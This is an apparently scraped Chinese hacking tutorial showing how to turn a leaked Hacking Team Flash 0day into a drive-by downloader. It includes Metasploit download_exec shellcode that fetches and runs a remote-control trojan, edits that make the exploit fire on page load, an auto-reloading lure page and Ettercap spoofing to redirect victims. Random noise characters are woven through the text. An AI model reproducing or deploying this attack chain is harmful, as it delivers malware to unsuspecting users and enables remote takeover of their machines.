flash 0day之手工代码修改制作下载者实例入侵演示

admin

6 [6 r! O. o6 b, ` 三、flash 0day之手工代码修改制作下载者实例入侵演示

, m' c" S, J+ R! m G$ y

利用到的工具：

Msf # y+ s M% N' I& E) K, U% o( N

1 ` l: l7 e# \* I: |. K I {- S

Ettercap

; F6 E4 a z! r, A. _

. t5 O3 z* B4 Z1 B% g8 J- X Adobe Flash CS6

! v4 H! D! r! Q' B; e" {

% ~3 N. x/ U' K4 O" [ Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 6 n* b O* a- i E

$ U/ }1 z7 d1 G; p; X! m3 M* \, f 下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options

如图：

5 p* ?7 K# J- X8 R

 

9 ?/ m" a( P' A7 N4 }

  . ^8 O5 I' Y! y/ b- h+ l

然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:

  7 g( Q+ F7 L4 ?

  , ~( R0 o) C7 W. G M

$ g# e, ?" o* a, g+ P) X

然后执行generate -t dword生成shellcode，如下： ( k% n. ]9 x7 G, n+ u

' q1 C$ X& p _8 X

; U. V2 U# v' G* s% }* A5 v  

8 c4 r/ f! Q# R; Z4 x0 _0 k" ~

复制代码到文本下便于我们一会编辑flash exp，如下：

, L4 B, e' f% s9 X! F

% V( e6 L2 Y7 s0 D* A: v3 z* | 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, # N# }' ^8 Y/ \$ R% t9 T

4 `" @" g" c, N- r

2 b$ w T7 w3 T. ^4 X$ y 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,

& p% `# o1 ~: `$ w! _' C

1 m+ l4 q( e6 k! |4 W( Y R 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, ( I6 ~- M' n7 V: q7 M

- o! @" `2 T" u% a) A

8 z; }$ i8 f9 y: {7 {0 u9 u& @* _ 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,

6 H+ q: O E, S2 e5 s6 A

0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,

) C& g' ^! V: M, z 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,

" K& b, u2 A# P% W( l. s 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 4 e- N) v \$ K

2 ]5 M7 a, F$ ^$ Y 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,

+ A/ ]2 Y6 C* A" J

2 ]" m9 r3 V) X6 B! e+ U 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,

3 H* h% T! v% z( f3 y/ z

$ u8 l+ t+ A# J' |& L6 M" \8 V 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,

( ? N0 m1 E. I

0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, % P1 y& q. _/ @6 U/ ~& V

' I# U2 |% r, \. D: Q

0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, * H; j- o8 m1 u0 H

. a8 J( x Y+ l8 _, Y7 A# l {

0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, $ \4 K3 T( C; \ ^9 B, H

0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 1 i6 R: Y8 }4 @# |- R6 e

; |) s$ T0 ~3 ]9 D) T

0 u1 S- s$ p' q; Y  

8 X0 h- Y4 V! J: l+ F6 |  

- P1 G5 ]$ T4 M 下面我们来修改flash 0day exp，需要修改三个文件，分别为： . `) p# d( M( k( B- e2 S0 t

; |7 c4 _" b; j

  - K2 B# i* [& s/ t9 j4 U' X% f

! L2 A( |) z1 |( {0 f* | 先修改ShellWin32.as，部分源代码如图：

; O6 ~, i4 u* E6 v5 I" {

8 g. U. f: H, o5 r  

我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：

, w( N, C9 K4 ^# |/ d2 z

- [2 P+ p3 Q+ H F: r  

: X$ [5 \- ]6 x' b

! j2 R1 k/ s; t 然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图： 1 e2 X r) B/ Y$ d& S. N1 F2 _

$ O: \5 j" l! ~% A% ~

  ' N5 E4 h F" G

& n: u# k, S8 \2 Z

换行在后面加一句TryExpl();注意是l不是数字1，然后如图： ( c+ A' p3 b" O o! n

) f% a6 U) ~" T3 o5 U& Z   4 u* q- A2 r0 r$ e$ z

9 |+ o! v- H: k# t: `' |% E- B

3 x5 k( B( g+ ?) c% p6 u   " l E: G! v" s" l1 L

. @8 }* E }; q# E5 O+ G

 

% u4 z% {2 u( p h" c) B

然后点保存，下面我们来编译一下，打开 0 C% d8 L$ h! y

2 I3 s5 Q2 f6 P; |- \8 b2 R! H

exp1.fla然后点文件-发布，看看编译没错误

7 I8 n5 b2 g6 |: o, e

  . V9 N+ t# V% B1 f: m/ O u

9 r3 W7 t- N: n5 X7 X  

- {+ [! c2 E( j: ?# M2 x   - r+ B9 |9 e' H- ^9 O5 t

9 w& \9 r' L5 D

 

然后我们把生成的 1 l; x0 L% c& W! M2 M

! F+ V8 t* Q2 j

8 j1 {* Q( s, `: g a exp1.swf丢到kailinux 的/var/www/html下： + d8 u1 }, C% X! d: W

7 J- W: j1 ^3 `" t i5 J; H

然后把这段代码好好编辑一下 ; {9 j. B3 Q' P* W4 k$ H

8 p' I* \' m4 G# \) B

  # a. \1 s/ t, ?; l O

7 P$ V. k; F1 K7 Q* s% u

  2 V J2 k. D; J0 ?

9 L: G/ i9 }- L) l* i   ( A O8 I2 Y; m

( `# n! U' s) O `% p

* y0 Q6 K" K* j: Y% D$ E   0 v5 @4 e) s( \& Z' K' r' t8 p1 ], u

0 n0 S) D6 J2 _8 ]+ z   ; {+ i, g9 U+ U9 q& C$ n

' l0 G/ m( @% X2 S# U- p# L0 u9 ?0 i, U

# B4 P; |% F( I9 I8 i9 c+ t" G  

8 P2 a0 N2 I: |1 f* s( t: A$ }5 n

' B6 z; z& Y8 K" c4 N; z8 T6 e <!DOCTYPE html>

<html> 8 e2 e1 N; y3 r x9 T4 c& q

4 O* o- p$ l% N+ o$ [( w

# F% F4 W& I6 J; ]6 p <head> 1 y/ Q; f( Q! `, F% t& a

<meta http-equiv="Content-Type" content="text/html; ; H$ @" p& U" f9 t

charset=utf-8"/> H6 C: y9 V% c4 j7 m

9 U1 ]- u3 ^. `* Z </head> 5 [2 N( w D6 G

9 ~8 N* R$ n+ B+ R& o; X( W5 q <body> 3 ~6 z, O. Q: k. t6 f' n& s+ \

# R0 ~6 V6 Z$ g

% P6 v: c: ?$ B: Q4 G2 d8 }2 Z: { <h2> Please wait, the requested page is loading...</h2>

' \" m- A; w$ V% N3 @* P2 u1 a

<br>

0 A- x( z" I/ X" o( Z <OBJECT

2 a$ B' } w6 C) `" `; d/ s8 o4 ` classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie

n' v: l2 N7 j VALUE="http://192.168.0.109/exp1.swf"></OBJECT> + l: L: Z% \. w) a) q( S

</body> ; m+ R( N' s& Y/ B

3 w _! w3 l4 F1 ?/ R; R# G

<script>

/ }- k2 K! L1 U

- R( Q( g2 [- Y+ ^% N9 p     setTimeout(function () {

- o# s+ v" T- O8 U          ) H8 o' b+ |/ Y5 C( Y/ L; z

window.location.reload();

6 Z1 q) n @1 j! z) }1 ^

    }, 10000); - q) e' f% q" m {/ X* a. @/ X

4 s% r. f, t$ h1 Q$ B   ! |: { \1 r6 W+ ]

</script> / Z# a/ z! ~4 n, B, c3 m( t" a

</html> 0 e1 J$ N1 ]0 G1 m: o. i" i! s

9 P' o4 z0 M) } ~& Y

 

: R ^) `# a! ^9 V4 ~

注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：

( l; A! T& x2 n3 X

  ) D3 A) h1 m/ M2 [

9 z+ E6 Q* x+ S8 j- v* ]& n   8 X! I! k$ i% k

! A9 E" {' M- d& q, ]$ o5 f/ h

. W/ @2 O2 A# U/ t) t  

" _- {4 ~! q; _% ~& x

 

( X& ^# b( G2 _2 L3 a

3 w0 o; l5 F4 W; s6 U1 I: v0 Z0 R3 D   % D( k* j7 ~5 n

0 ^; |" o3 o1 d K/ C) S( I

6 j9 ~% K, S% ?: {+ s2 P: }5 _ 下面我们用ettercap欺骗如图：

2 j' T/ {% `' g9 L) }3 ~9 `   , L7 K4 [) F% A2 F2 r

C3 `, U7 {$ s, Q, u8 x, \

  - \" l& ]6 T; K* T1 H% }

下面我们随便访问个网站看看： " @: k' B' d5 ?/ ?0 P

; S! y9 H) {% c& I

我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： 1 S& ~. D, B+ ~

; L* L! V8 z1 a, p" w# _

  , v. h7 U; x7 C* J" Y

8 s( e3 U) D! G/ r

5 e( ?$ ^; \# B8 I% Y- S- K 我们看另一台， 4 a: l( n* j0 p* U7 _+ v) j, j

5 C+ |- S/ X+ t" ?1 t 提示这个错误，说明木马是成功被下载执行了，只是由于某些原因没上线而已。。。 * }, ?1 B7 n! R U3 D